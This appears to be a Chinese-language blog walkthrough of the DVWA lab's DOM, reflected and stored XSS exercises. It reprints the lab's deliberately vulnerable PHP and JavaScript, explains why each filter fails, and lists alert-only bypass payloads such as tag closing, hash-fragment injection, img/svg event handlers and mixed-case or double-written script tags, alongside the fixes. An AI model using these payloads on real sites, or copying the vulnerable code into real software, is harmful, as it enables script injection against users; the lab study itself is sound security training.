• DVWA学习记录 PartⅨ


    XSS(DOM)

    1. 题目

    XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

    XSS(DOM)1

    可能触发DOM型XSS的属性:

    document.referer属性
    window.name属性
    location属性
    innerHTML属性
    documen.write属性
    

    2. Low

    a. 代码分析

    后端代码:

    <?php
    # No protections, anything goes
    ?>
    

    没有防护措施

    前端代码:

    if (document.location.href.indexOf("default=") >= 0) {
        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
        document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
        document.write("<option value='' disabled='disabled'>----</option>");
    }
    document.write("<option value='English'>English</option>");
    document.write("<option value='French'>French</option>");
    document.write("<option value='Spanish'>Spanish</option>");
    document.write("<option value='German'>German</option>");
    

    document.location.href 获取当前页面URL

    indexOf(searchvalue, fromindex) 获取某个指定字符串在总体字符串中出现的位置

    substring(start, stop)获取字符串中介于两个指定下标之间的字符,如果没有指定stop参数,返回的子串会一直到字符串的结尾

    b. 漏洞利用

    直接弹窗

    XSS(DOM)2

    3. Medium

    a. 代码分析

    <?php
    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
        $default = $_GET['default'];
        
        # Do not allow script tags
        if (stripos ($default, "<script") !== false) {
            header ("location: ?default=English");
            exit;
        }
    }
    ?> 
    

    对于<script进行过滤。

    前端代码没有变化。

    b. 漏洞利用

    方法一:

    <option value='" + lang + "'>" + decodeURI(lang) + "</option>
    

    尝试闭合option标签,然后拼接注入代码。

    payload:

    </option></select><img src='1' onerror="alert('1');">
    

    方法二:使用#进行绕过

    HTTP请求不会发送URL中井号后面的数据,#后的数值不对服务器端起作用,只对浏览器起作用。

    payload:

    ?default=#<script>alert(1)</script>
    

    4. High

    a. 代码分析

    <?php
    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
        # White list the allowable languages
        switch ($_GET['default']) {
            case "French":
            case "English":
            case "German":
            case "Spanish":
                # ok
                break;
            default:
                header ("location: ?default=English");
                exit;
        }
    }
    ?> 
    

    设置白名单,只能输入白名单内的内容

    b. 漏洞利用

    使用#绕过

    payload:

    ?default=#<script>alert(1)</script>
    

    5. impossible

    a. 代码分析

    后端代码:

    <?php
    # Don't need to do anything, protction handled on the client side
    ?> 
    

    前端代码:

    if (document.location.href.indexOf("default=") >= 0) {
        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
        document.write("<option value='" + lang + "'>" + (lang) + "</option>");
        document.write("<option value='' disabled='disabled'>----</option>");
        }
        document.write("<option value='English'>English</option>");
        document.write("<option value='French'>French</option>");
        document.write("<option value='Spanish'>Spanish</option>");
        document.write("<option value='German'>German</option>");
    

    前端代码修改,无法实现DOM注入。

    XSS(Reflected)

    1. 题目

    XSS(Reflected)1

    2. Low

    a. 代码分析

    <?php
    header ("X-XSS-Protection: 0");
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    }
    ?> 
    

    没有任何的过滤与检查

    b. 漏洞利用

    payload:

    ?name=<script>alert(1)</script>
    

    3. Medium

    a. 代码分析

    <?php
    header ("X-XSS-Protection: 0");
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = str_replace( '<script>', '', $_GET[ 'name' ] );
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    ?> 
    

    <script>替换为空白

    b. 漏洞利用

    payload:

    </pre><img src=1 onerror=alert(1)>
    </pre><svg src=1 onload=alert(1)>
    <scr<script>ipt>alert(1)</script>		# 双写绕过
    <ScrIpt>alert(1)</script>				# 大小写绕过
    

    4. High

    a. 代码分析

    <?php
    header ("X-XSS-Protection: 0");
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    ?> 
    

    preg_replace 函数执行一个正则表达式的搜索和替换

    防止了双写和大小写绕过。

    b. 漏洞利用

    payload:

    </pre><img src=1 onerror=alert(1)>
    </pre><svg src=1 onload=alert(1)>
    

    5. impossible

    a. 代码分析

    <?php
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        // Get input
        $name = htmlspecialchars( $_GET[ 'name' ] );
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    // Generate Anti-CSRF token
    generateSessionToken();
    ?> 
    

    htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

    预定义的字符是:

    • & (和号)成为 &
    • " (双引号)成为 "
    • ' (单引号)成为 '
    • < (小于)成为 <
    • > (大于)成为 >
    htmlspecialchars(string,flags,character-set,double_encode)
        其中第二个参数flags需要重要注意,很多开发者就是因为没有注意到这个参数导致使用htmlspecialchars()函数过滤XSS时被绕过。因为flags参数对于引号的编码如下:
    	可用的引号类型:
        	ENT_COMPAT - 默认。仅编码双引号。
    		ENT_QUOTES - 编码双引号和单引号。
    		ENT_NOQUOTES - 不编码任何引号。
    

    XSS(Stored)

    1. 题目

    XSS(Stroed)1

    2. Low

    a. 代码分析

    <?php
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
        // Sanitize message input
        $message = stripslashes( $message );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        // Sanitize name input
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        //mysql_close();
    }
    ?> 
    

    mysql_real_escape_string(string,connection)

    函数会对字符串中的特殊符号(x00, , ,,‘,“,x1a)进行转义

    stripslashes(string)

    函数删除字符串中的反斜杠

    没有防御XSS的措施

    b. 漏洞利用

    name参数有字数限制,可以通过改包实现XSS

    在Message中输入:<script>alert(1)</script>

    3. Medium

    a. 代码分析

    <?php
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
        // Sanitize name input
        $name = str_replace( '<script>', '', $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        //mysql_close();
    }
    ?> 
    

    strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>标签。

    addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。

    message参数使用了htmlspecialchars函数进行编码,无法注入XSS代码

    name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。

    b. 漏洞利用

    改包中使用双写绕过:<sc<script>ript>alert(1)</script>

    大小写绕过:<ScrIpt>alert(1)</script>

    4. High

    a. 代码分析

    <?php
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
        // Sanitize name input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        //mysql_close();
    }
    ?> 
    

    name参数过滤了<script>,使用其他标签进行XSS

    b. 漏洞利用

    <img src=1 onerror=alert(1)>
    

    5. impossible

    a. 代码分析

    <?php
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
        // Sanitize message input
        $message = stripslashes( $message );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
        // Sanitize name input
        $name = stripslashes( $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $name = htmlspecialchars( $name );
        // Update database
        $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
        $data->bindParam( ':message', $message, PDO::PARAM_STR );
        $data->bindParam( ':name', $name, PDO::PARAM_STR );
        $data->execute();
    }
    // Generate Anti-CSRF token
    generateSessionToken();
    ?> 
    

    name和massage使用通用的过滤标准,防止XSS攻击。

  • 相关阅读:
    微信公众号开发(一)——环境搭建
    Spring中@Async-异步处理
    SSL/TLS安全评估-查看访问的网址支持哪些协议等
    SSL异常javax.net.ssl.SSLHandshakeException: Received fatal alert: handshake_failure
    Java代码自动部署
    SQL优化技巧
    idea2019.2 svn 忽略文件问题
    Remote System Explorer Operation在eclipse后台一直跑 解决办法
    JPA project Change Event Handler问题解决
    MySQL按首字母查询
  • 原文地址:https://www.cnblogs.com/chalan630/p/12838401.html
Copyright © 2020-2023  润新知